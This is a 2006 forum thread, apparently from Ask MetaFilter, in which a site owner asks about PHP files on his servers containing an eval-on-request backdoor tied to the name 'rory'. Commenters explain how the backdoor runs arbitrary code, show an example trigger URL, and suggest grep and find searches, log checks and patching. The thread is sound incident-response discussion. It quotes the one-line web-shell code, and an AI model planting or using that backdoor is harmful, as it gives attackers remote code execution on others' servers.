Web site hack?

February 28, 2006 10:06 AM

Web site hacking attempts courtesy of "rory".

So I've seen several unknown files littered on the server side web site directories, usually a php file with code that includes:

eval(stripslashes($_REQUEST[rory])

or some variation of "rory was here". I assume these are hacking/backdoor attempts on the server, but I can't find specific information or links about that specific type of code.

Does anyone have any information about this "hack"?

I've tried using grep to check other files on the server, but it doesn't seem to be returning any results for "rory" (which isn't correct). What would be the proper grep command to search all the files for this code? What unix command would I use to check the server to see any changed files or owned by www, etc.?

posted by jca to computers & internet (32 comments total)

From your document root:

grep -r rory *
posted by IshmaelGraves at 10:16 AM on February 28, 2006

or, for easier parsing:

Files:

find / -type f -name \*rory\*



Directories:

find / -type d -name \*rory\*

posted by Kickstart70 at 10:22 AM on February 28, 2006

I'd be curious if others could run the "grep -r rory *" on their web server(s) and tell us if they see any results.
posted by jca at 10:23 AM on February 28, 2006

Does anyone have any information about this "hack"?

I'm not sure if you mean "about the occurrence this mode of attack", or if you mean "what does this code do".

Just in case: It will execute PHP code send to the server in a string set to the request variable "rory" (using POST or GET).

It can do anything to your server you could do yourself using PHP. Remove ASAP.
posted by uncle harold at 10:23 AM on February 28, 2006

But the far more interesting thing is to find out how it got there.
posted by uncle harold at 10:24 AM on February 28, 2006

Doh...I didn't give a decent answer...ignore the above.

Files:

find / -type f | xargs grep rory



Recursive directories:

find / -type d | xargs grep -r rory

Is it just me or does the PRE tags include lots of junk space?
posted by Kickstart70 at 10:26 AM on February 28, 2006

It will execute PHP code send to the server in a string set to the request variable "rory" (using POST or GET).

How would you show what the variable "rory" is currently set to?

But the far more interesting thing is to find out how it got there.

That's what I'd like to know, hence the question. Can't find any links that reference useful information about that code. I assume it got there through a vulnerability in some other script, such as phpadsnew or...?
posted by jca at 10:31 AM on February 28, 2006

The request variables are set each time a request to the page is made, so while you can display its content, that will be worthless in this case - because it will depend on what you (or rather, the attacker) sends in the request.

The attacker would do something like http://www.jcaserver.org/hack.php?rory=somephpcommandhere
posted by uncle harold at 10:38 AM on February 28, 2006

Well, I've seen it on several unrelated sites (different hosts, servers, software used, etc.), so I'm willing to bet if others run that previous grep they might see some results. :(
posted by jca at 10:44 AM on February 28, 2006

Mac OS X Server, no rories here.
posted by trevyn at 10:51 AM on February 28, 2006

you didn't give a lot of information about your webserver, which might be helpful...what OS, what webserver. these might help in the suggestions we could give

in any case, one thing is to start checking logs. depending on how your webserver is configured it might be logging all the gets and posts. start looking for requests that you aren't normal for your webapp.

you might try to use a tool like chkrootkit to determine if the system if completely rooted at the OS level, or if they've just taken advantage of a weakness in a webapp you were using.

the unknown files you've found: what are their dates and times and can you correlate this with any other dates and times either in the logs on the webserver (not only web logs but other system logs as well) or with the logs of your firewall and/or routers.

what are the names of the unknown files you found? that might help you determine what exact hack you are facing.
posted by poppo at 10:54 AM on February 28, 2006

I made myself vulnerable to a similar attack once because I used php includes that were called in the form of URLs like mydomain.com/index.php?page=somepage. Apparently, people tricksier than me were able to substitute something special for "somepage" that allowed them to execute their own code and load up their own pages to my site.

Oops.
posted by adamrice at 10:55 AM on February 28, 2006

Not a single rory found here (but I just run my own blog).

I agree with uncle harold that the far more interesting story is how they got there.
You say you've seen them in several unrelated sites, do you run all these? Do you provide hosting?
Is there a common link between where you've seen them? eg Operating system, webserver, php version, software that runs the site, configuration of any of the above.

Simply removing them will NOT do any good if you don't know HOW they got there.
posted by borkencode at 11:09 AM on February 28, 2006

Well, that's why I posted the question -- trying to find if they're associated with a particular hack, vunerable software, etc. in order to figure out how they got there.
posted by jca at 11:18 AM on February 28, 2006

Files on a webserver (Debian, running apache) that include 'rory'.

Binary file /usr/lib/bitchx/plugins/aim.so matches
/usr/src/linux-2.6.14/fs/super.c: * Drops an active reference to superblock, acquiring a temprory one if
/usr/src/linux-2.6.14/arch/arm/mach-iop3xx/iop321-irq.c: * Author: Rory Bolt
/usr/src/linux-2.6.14/arch/arm/mach-iop3xx/iop321-pci.c: * Author: Rory Bolt
/usr/src/linux-2.6.14/arch/arm/mach-iop3xx/iq80321-mm.c: * Author: Rory Bolt
/usr/src/linux-2.6.14/arch/arm/mach-iop3xx/iq31244-pci.c: * Author: Rory Bolt
/usr/src/linux-2.6.14/arch/arm/mach-iop3xx/iq31244-mm.c: * Author: Rory Bolt
/usr/src/linux-2.6.14/arch/arm/mach-iop3xx/iq80321-pci.c: * Author: Rory Bolt
/usr/src/linux-2.6.14/include/asm-arm/arch-iop3xx/iop321.h: * Author: Rory Bolt
/usr/src/linux-2.6.14/include/asm-arm/arch-iop3xx/iop321-irqs.h: * Author: Rory Bolt
/usr/share/vim/vim64/syntax/docbk.vim:" Add special emphasis on some regions. Thanks to Rory Hunter for these ideas.
posted by Kickstart70 at 11:20 AM on February 28, 2006

(phpadsnew seems a likely candidate, but I'm assuming many php scripts would be vulnerable?)
posted by jca at 11:20 AM on February 28, 2006

Google query
posted by yerfatma at 11:32 AM on February 28, 2006

first link in yerfatma's query is perfect, if jca has a postnuke forum.
posted by poppo at 11:37 AM on February 28, 2006

I've seen that single postnuke forum mention (via Google), but it didn't shed any light on the problem.
posted by jca at 11:37 AM on February 28, 2006

(not running postnuke)
posted by jca at 11:38 AM on February 28, 2006

Open your raw log file that would have entries from the date the files from rory were created. Then search for "cmd" or "txt" (owned.txt, test.txt) or "cse" (usually cse.jpg).
posted by sailormouth at 11:41 AM on February 28, 2006

no log files going back to the date of the hacked file(s).

phpBB seems vulnerable to a "friend" of rory. (I'm not running phpBB).
posted by jca at 11:46 AM on February 28, 2006

in that forum, it mentions that the exploitable part of it was the XMLRpc module. Perhaps this is used in another php based app on your webserver?

for example, it is also used in Wordpress, Drupal, PostNuke, Serendipity, phpAdsNew, phpWiki and many more.
posted by poppo at 11:47 AM on February 28, 2006

a longer list from the sourceforge page for xmlrpc: PHPXMLRPC or derivative versions are used in many open source projects, including Ampache, Xaraya, Drupal (only up to releases 4.6.2 and 4.5.4), PostNuke, b2evolution, nucleus cms, phpmyfaq, phpPgAds, phpgroupware, egroupware, TikiWiki, Civicspace (old release only) and MailWatch for MailScanner.
posted by poppo at 11:53 AM on February 28, 2006

or, just see if xmlrpc.php exists on your webserver
posted by poppo at 11:54 AM on February 28, 2006

Kickstart, a single find command is all that is needed

find . -name \*.php -exec grep 'rory' {} \; -print
posted by nomisxid at 11:59 AM on February 28, 2006

do you have xmlrpc.php anywhere?
posted by andrew cooke at 1:40 PM on February 28, 2006

Use xargs instead of -exec with find. It's much more efficient to run grep once with all the files on the command line rather than having to invoke grep once for each file.
posted by Rhomboid at 5:15 PM on February 28, 2006

My logs are always full of every kind of exploit/attack known to hackers, regardless of whether or not I am running the software they are trying to explot.

There are a lot of scum out there who have automated this process and let it run continuously, trying every exploit against every server they can find. When they get a hit (find a vulnerable server running insecure software) they then take control in whatever way they can and use your server for whatever means they want.

Twice last year my server was hacked because I was too lazy to keep awstats updated. Both times the hacker gained root-level acccess (because I was dumb and installed awsats from root) and installed software that then proceeded to try and exploit other servers. Both times I had to bring the server down, dump the databases and web files to a different server, re-install Debian and reconfigure everything. The first time the server was hacked it was done by some weird group of Brazilian hackers who were in a weird contest with other hackers to see hwo many servers they could hack in a period of time (weird, I know). They didn't install anything but a script that rewrote ever index.* page on the site with their hacked message.

I suck at being a sysadmin, but the few years I did run my own server I had to learn a lot. What I came away with is that you can never be truly secure unless you monitor the server constantly and keep on top of security patches.

So, seeing "eval(stripslashes($_REQUEST[rory])" in your logs really doesn't mean anything except that scum are running a known exploit against your server looking for unpatched software regardless of whether you are running that software or not.
posted by camworld at 6:56 PM on February 28, 2006

camworld, these aren't in the logs, they're executable files stored inside the webspace.

How would you show what the variable "rory" is currently set to?

It's a back door; whoever put those files there could go to a url matching one of the files, include &rory=[any executable code] in the url, and that executable code would run on your system. Presumably to do something unpleasant.
posted by ook at 8:27 PM on February 28, 2006

To be more specific: these are not "hacking attempts" -- you have already been hacked, successfully, and your system is currently wide open to anyone who knows where those files are. Your first task is to delete those files.

As for how they got in in the first place, I don't know, but if I were you I would disable absolutely everything on the sever that I wasn't actively using, and make sure everything else is upgraded to the most current version. I'd also be backing up my files to a different box right now.
posted by ook at 8:31 PM on February 28, 2006

To be more specific: these are not "hacking attempts" -- you have already been hacked, successfully

Yep, I was surprised nobody seemed to think much of that.

If a file is already on your server, that means the person who put it there had access to the server. You have a bigger problem than you imagined. Yank off your Net connection and find out the cause first.
posted by madman at 11:48 PM on February 28, 2006